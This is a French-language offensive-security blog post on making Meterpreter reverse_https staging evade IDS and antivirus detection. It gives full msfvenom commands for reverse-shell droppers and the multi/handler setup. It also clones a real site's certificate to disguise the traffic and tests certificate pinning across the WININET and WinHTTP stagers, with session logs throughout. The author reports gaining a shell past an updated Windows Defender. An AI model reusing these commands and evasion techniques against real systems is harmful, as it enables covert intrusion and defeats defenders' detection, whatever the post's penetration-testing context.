Il n’y a pas plus blasant que se rendre compte que notre payload bien emmitouflé dans 50 couches d’obfuscation, crypto et autres mécanismes destinés à faire perdre du temps à l’analyse heuristique se fait choper parce que son mécanisme de staging est repéré par un IDS/IPS/antivirus/autre.

Dans le cas de Meterpreter, si l’on utilise un handler de type “meterpreter/reverse_https”, il semble communément admis que les certificats SSL/TLS générés à l’initialisation du handler présentent quelques incohérences qui font que ces derniers servent de signature à certains IDS/IPS pour détecter du trafic malveillant. Divers articles sur Internet illustrent cet état de fait avec une simple connexion HTTPS avec un navigateur sur le port d’un handler meterpreter/reverse_https qui se fait intercepter par Symantec Norton 360. C’est donc bien la peine de faire la course à celui qui aura un dropper à 0/60 sur VirusTotal si c’est pour se faire détecter comme ça :)

Les signatures évoluent assez régulièrement, mais les malwares aussi. N’ayant pas Norton 360 sous la main pour vérifier si c’est toujours vrai, je me suis contenté de Windows Defender qui m’a récemment fait la blague de gueuler lors du staging, alors que toutes les étapes précédentes s’étaient bien passées. Quelques tests plus tard avec d’autres payloads m’ont confirmé que ce n’est pas à la détonation que s’est produit le problème, mais bien lors du staging.

Alors premier réflexe, mais qui n’est pas celui que j’ai retenu: ne pas utiliser de mécanisme de staging, mais un payload complet. Dans le cas d’un meterpreter ça prend vite de la place, et ce n’est pas toujours enviable (selon la méthode d’accès initial, ça peut assez vite se voir). De cette manière, si notre dropper n’est pas détecté avec un stager, on doit également être capable d’en faire un non détecté avec une charge complète.

Je précise pour la suite de mes tests, on ne va pas se préoccuper du dropper mais que du mécanisme de staging. Un dropper généré comme on va le faire ici VA se faire détecter. Une fois que notre mécanisme de staging fonctionne, on génère le payload (raw) et on l’emmitoufle et là on le teste avec l’antivirus qui tourne. Toute cette partie n’est pas détaillée dans cet article (une excellente ressource pour la conception d’un dropper qui échappe à des antivirus (moyennant quelques ajustements), je vous conseille le cours Malware Development Essentials de Sektor7).

Jouer avec SSL/TLS

Autre possibilité, utiliser un certificat un peu plus vraissemblable. On pourrait se dire que le problème c’est les certificats auto-signés, mais il y en a tellement en entreprise, que plus personne ne pourrait bosser si l’IPS se mettait à couiner à chaque accès à une application interne protégée avec un certificat auto-signé. On peut alors apprendre à utiliser la ligne de commande OpenSSL pour générer un certificat auto-signé, ou utiliser Let’s Encrypt (qui dans ce cas en génèrerait un valide :)). Sinon Metasploit dispose d’un module impersonate_ssl qui prend un paramètre RHOST correspondant à un FQDN dont on veut imiter le certificat (il sera auto-signé mais avec des valeurs réelles).

msf6 auxiliary(gather/impersonate_ssl) > set RHOSTS www.moulinette.org
RHOSTS => www.moulinette.org
msf6 auxiliary(gather/impersonate_ssl) > run 
[*] Running module against 37.187.118.190

[*] 37.187.118.190:443 - Connecting to 37.187.118.190:443
[*] 37.187.118.190:443 - Copying certificate from 37.187.118.190:443
/CN=moulinette.org 
[*] 37.187.118.190:443 - Beginning export of certificate files
[*] 37.187.118.190:443 - Creating looted key/crt/pem files for 37.187.118.190:443
[+] 37.187.118.190:443 - key: /root/.msf4/loot/20210506165158_default_37.187.118.190_37.187.118.190_k_053234.key
[+] 37.187.118.190:443 - crt: /root/.msf4/loot/20210506165158_default_37.187.118.190_37.187.118.190_c_747046.crt
[+] 37.187.118.190:443 - pem: /root/.msf4/loot/20210506165158_default_37.187.118.190_37.187.118.190_p_332706.pem
[*] Auxiliary module execution completed

Pour la suite du test, c’est le fichier .pem qui nous intéresse, je l’ai renommé en /tmp/moulinette.pem, ça sera plus facile pour s’y repérer.

On va maintenant pouvoir générer notre dropper :

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 handlersslcert=/tmp/moulinette.pem stagerverifysslcert=true -f exe -o /tmp/methttps.exe

Pour la forme, voici le fingerprint de notre certificat. On va le garder en tête pour la suite :

$ openssl x509 -fingerprint -in /tmp/moulinette.pem -noout
SHA1 Fingerprint=FD:79:30:D2:C5:6D:C7:68:3C:6E:E4:44:CB:B3:45:9E:EB:6C:60:04

Certificate Pinning

On note que j’ai utilisé StagerVerifySSLCert=true, cette option n’est pas indispensable pour la partie SSL/TLS, mais sert à faire du certificate pinning, comme le font d’autres applications communiquant sur TLS. L’application de ce mécanisme à Meterpreter est largement documenté sur Internet. Meterpreter va vérifier le certificat SSL du serveur, et si ce dernier ne correspond pas (par exemple parce qu’il y a un équipement d’analyse des flux HTTPS qui usurpe son identité), l’exécution va s’arrêter afin de ne pas plus éveiller les soupçons. On en reparle un tout petit peu plus tard.

On peut ensuite créer notre handler :

use exploit/multi/handler 
set PAYLOAD windows/x64/meterpreter/reverse_https 
set LHOST eth0
set LPORT 443
set HandlerSSLCert /tmp/moulinette.pem
set StagerVerifySSLCert true 
show options 
run 

Là si on fait un coup de sslscan dessus, on se rend compte qu’il y a un problème :

$ sslscan 10.10.10.10:443      
Version: 2.0.7-static
OpenSSL 1.1.1j-dev  xx XXX xxxx

Connected to 10.10.10.10

Testing SSL server 10.10.10.10 on port 443 using SNI name 10.10.10.10

  SSL/TLS Protocols:
SSLv2     disabled
SSLv3     disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   disabled
TLSv1.3   disabled

Metasploit ouvre bien le port par contre il n’accepte aucune session SSL/TLS (en tout cas, si on l’utilise sous Kali, ce qui est le cas de beaucoup de monde je pense). Il faut aller éditer la config OpenSSL et modifier une des dernières lignes pour qu’elle corresponde à ce qui suit (/etc/ssl/openssl.cnf) :

CipherString = DEFAULT

Donc on relance notre handler, et on lance notre dropper. On a bien ce genre de lignes qui défilent :

[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 0g2jqvio) Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 0g2jqvio) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 2 opened (10.10.10.10:443 -> 10.10.10.10:45828) at 2021-05-06 17:43:19 +0200

On retrouve bien notre hash sha1 calculé précédemment, et vu que la connexion s’établit, on peut en déduire que ça fonctionne comme prévu.

Oui, mais …

Alors l’ancien dev qui est en moi a tenu a vérifier que tout cela fonctionne vraiment comme prévu, j’ai créé un dropper s’attendant à un autre certificat que celui proposé par mon handler. Dans mon exemple je vais impersonate un certificat de n’importe quel autre domaine. Voici le hash de ce nouveau certificat :

$ openssl x509 -fingerprint -in /tmp/other.pem -noout
SHA1 Fingerprint=07:13:D0:BC:BA:6C:68:01:15:61:5D:E5:1C:11:6E:90:E0:B8:4B:FF

Je vais générer un nouveau dropper qui utilisera ce certificat :

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 handlersslcert=/tmp/other.pem stagerverifysslcert=true -f exe -o /tmp/methttps_other.exe

Et malgré mon StagerVerifySSLCert, la connexion s’établit alors que je n’utilise pas le même certificat, et la promesse que Meterpreter va vérifier le certificat :

[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: ot5ypjyk) Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: ot5ypjyk) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 3 opened (10.10.10.10:443 -> 10.10.10.10:45836) at 2021-05-06 17:55:37 +0200

Après discussion avec quelques devs de Metasploit, il semblerait qu’il ne s’agisse pas vraiment d’un bug, mais d’un problème inhérent aux API utilisées :

Payload API utilisée
meterpreter/reverse_https WININET
meterpreter/reverse_winhttps WINHTTP

L’api WININET n’est pas en mesure de valider les certificats en situation de staging. C’est par contre bon si on utilise un stage complet (windows/meterpreter_reverse_https) car le mécanisme de vérification est intégré à notre charge. On va vérifier ça en générant un handler pour un meterpreter complet, et un dropper correspondant, mais avec le mauvais certificat :

[*] Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 2nylfawa) Redirecting stageless connection from /S6F4rvvQTiICVgNUYsIQfASAv_kc19bzbxqaTMvuckbFIh811lVGDK21NaA8VreHTUM4HPPH0uqQEQ8jyYKdW_y1dEi with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 2nylfawa) Redirecting stageless connection from /S6F4rvvQTiICVgNUYsIQYgryZR18BvFLnTyZ6l_Snaiq0vop-KmSlekg0dc72lR306o4K3EOuHJ2 with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[...]

En gros le dropper n’arrive jamais à établir une session. Avec le bon certificat cette fois :

[*] Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 01t1lqvj) Redirecting stageless connection from /OfckDsiyRWrVXNRetcjH8AQb7-eQRnT2Tfx2R21P41VJ_2YFsp3yUE9HHX8hStRwgGxtl5pJv82Uifs8fpyH_xROYgwTnrNIUA with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: 01t1lqvj) Attaching orphaned/stageless session...
[*] Meterpreter session 4 opened (10.10.10.10:443 -> 10.10.10.10:45870) at 2021-05-06 18:00:44 +0200

meterpreter > 

L’autre possibilité, si pour des raisons de taille on préfère un stager, c’est d’utiliser le payload utilisant l’API WINHTTP :

msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.10 LPORT=443 handlersslcert=/tmp/moulinette.pem stagerverifysslcert=true -f exe -o /tmp/metwinhttps.exe

Et cette fois, soit le certificat est bon :

[*] Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: oy53hqxe) Redirecting stageless connection from /OPWtUWVxgRTo9-n1iGP7Ng1yvJc8h9iYLsgX_CizvIsW-1bXRnveaaNZ with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: oy53hqxe) Attaching orphaned/stageless session...
[*] Meterpreter session 5 opened (10.10.10.10:443 -> 10.10.10.10:45876) at 2021-05-06 18:05:21 +0200

Soit il n’est pas bon (.exe généré avec l’autre certificat), et on repart pour une infinite loop :

[*] Meterpreter will verify SSL Certificate with SHA1 hash fd7930d2c56dc7683c6ee444cbb3459eeb6c6004
[*] Started HTTPS reverse handler on https://10.10.10.10:443
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: jarpzpyu) Redirecting stageless connection from /MKJ-unOKDC3D8cLzo2XX5QAswgXxNzlWVNxrJ132YBHlAEuPyvrDI7Tba_zrdAafMdVa2K_zq1X with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: jarpzpyu) Redirecting stageless connection from /MKJ-unOKDC3D8cLzo2XX7gVHuaJ3mIY9rkm7mvIWDTXY46zgFT4LPDjMNMy_rerTkIWoXtIBNg4GLUtF_4A0GmPFHwKoewC with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'
[*] https://10.10.10.10:443 handling request from 10.10.10.10; (UUID: jarpzpyu) Redirecting stageless connection from /MKJ-unOKDC3D8cLzo2XX2A6IqnBiyCdiQw4C_RHlGuaH7ry8L3N55IlFgG-hHcmiF6T4FSHBlg2L1r8Nv9WWCqotTNf6yrh3OBLMDGD6-8-jD with UA 'Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko'

[...]

Dans un test fait avec une autre version de Metasploit, la session est tuée.

Non montré ici dans cet article: mon test final a eu lieu sur un Windows 10 Pro à jour, avec un Windows Defender également à jour. En revanche, j’avais désactivé la soumission automatique des échantillons, ainsi que la protection Cloud, et j’ai bien obtenu mon shell.

Conclusion

L’utilisation d’un stager meterpreter/reverse_https avec certificate pinning procure un faux sentiment de “sécurité” puisqu’en réalité l’outil n’est pas en mesure de vérifier qu’il s’adresse au bon serveur. Il faudra alors faire attention de bien utiliser le bon stager :)